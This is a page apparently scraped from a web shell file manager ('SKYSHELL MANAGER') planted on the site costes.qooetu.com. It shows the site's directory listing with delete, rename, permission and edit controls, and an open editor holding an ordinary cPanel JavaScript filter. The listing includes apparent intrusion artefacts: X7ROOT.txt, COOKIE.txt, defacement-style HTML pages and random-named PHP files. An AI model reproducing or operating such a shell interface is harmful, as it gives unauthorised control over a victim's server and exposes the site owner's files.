📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: wrapFilter.js
/* # cjt/filters/wrapFilter.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ define( [ "angular", "ngSanitize" ], function(angular) { /** * Check if the object is a number * @note Keeping this here to keep dependencies light. * @private * @method isNumber * @param {object} obj Any object to test. * @return {Boolean} true if the obj is a number, false otherwise */ function isNumber(obj) { return !isNaN(parseFloat(obj)); } /** * Checks if the value is a TrustedValueHolder and extracts the value if it is. * This is useful when something earlier in the chain returns a $secDelegate.trustAs() * wrapped value. * * @private * @method _getTrustedValue * @param {Any} value This is any var you're trying to extract a trusted value from * @return {String|Undefined} If it's detected as a TrustedValueHolder, it returns the value */ function _getTrustedValue(valHolder) { var val = angular.isObject(valHolder) && // Some primitive wrappers override Object.prototype.valueOf, so this // makes the next comparison more accurate and doubles as a guard. valHolder.valueOf !== Object.prototype.valueOf && // We need to make sure it's not just the inherited valueOf method. angular.isFunction(valHolder.valueOf); return val ? valHolder.valueOf() : void 0; } var module = angular.module("cjt2.filters.wrap", [ "ngSanitize" ]); /** * Filter that injects hidden whitespace into strings where the match rule exists. * By default it does this on periods. You can provide your own regex pattern to match * other characters or patterns. * * @example * * Default: [Separates on period (.)] * <div>{{ "abc.tld" | wrap }}</div> => <div>abc.<wbr><span class="wbr"></span>tld</div> * * With a custom regex pattern: * <div>{{ "ABD1:ABD2" | wrap:':' }}</div> => <div>ABD1:<wbr><span class="wbr"></span>ABD2</div> * * With a custom complex regex pattern: * <div>{{ "ABD1:ABD2.DDDD" | wrap:'[:.]' }}</div> => <div>ABD1:<wbr><span class="wbr"></span>ABD2.<wbr><span class="wbr"></span>DDDD</div> * * With a secondary wrap on words that exceed a max length: (note: wrapLimit must be > 2) * * <div>{{ "DDDD.01234567890123" | wrap:'[.]':10 }}</div> => <div>DDDD.<wbr><span class="wbr"></span>0123456789<wbr><span class="wbr"></span>0123</div> */ module.filter("wrap", ["$sceDelegate", "$sce", function($sceDelegate, $sce) { var template = "<wbr><span class=\"wbr\"></span>"; var trim = new RegExp(template + "$"); var cache = {}; return function(value, match, wrapLimit) { // If it's not a string, we'll try and fetch the trusted value if (typeof value !== "string") { value = _getTrustedValue(value); } // If value is still falsy at this point it's time to give up if (!value) { return ""; } // Setup up defaults match = (!match ? "[.]" : match); wrapLimit = (parseInt(wrapLimit, 10) || 0); var ruleId = match + wrapLimit; // Wrap the match rule in a capture var expression = cache[ruleId]; if (!expression) { // The expression is not cached, so create a new cache entry for it if (typeof (wrapLimit) !== "undefined" && isNumber(wrapLimit) && wrapLimit > 1) { // ----------------------------------------------------------------------------------- // Notes: // 1) We only want to take on this overhead if there is a wrapLimit // 2) we use wrapLimit - 1 since the regex match the range and one more word character // ----------------------------------------------------------------------------------- expression = new RegExp("((?:\\w{1," + (wrapLimit - 1) + "})\\w|" + match + ")", "g"); } else { expression = new RegExp("(" + match + ")", "g"); } cache[ruleId] = expression; } // Adjust the string. value = value.replace(expression, "$1" + template); if (wrapLimit) { // Workaround, since the expression for limits matches at the end of the // string too. I could not find an obvious way to prevent that match. value = value.replace(trim, ""); } return $sceDelegate.trustAs($sce.HTML, value); }; }]); } );
Save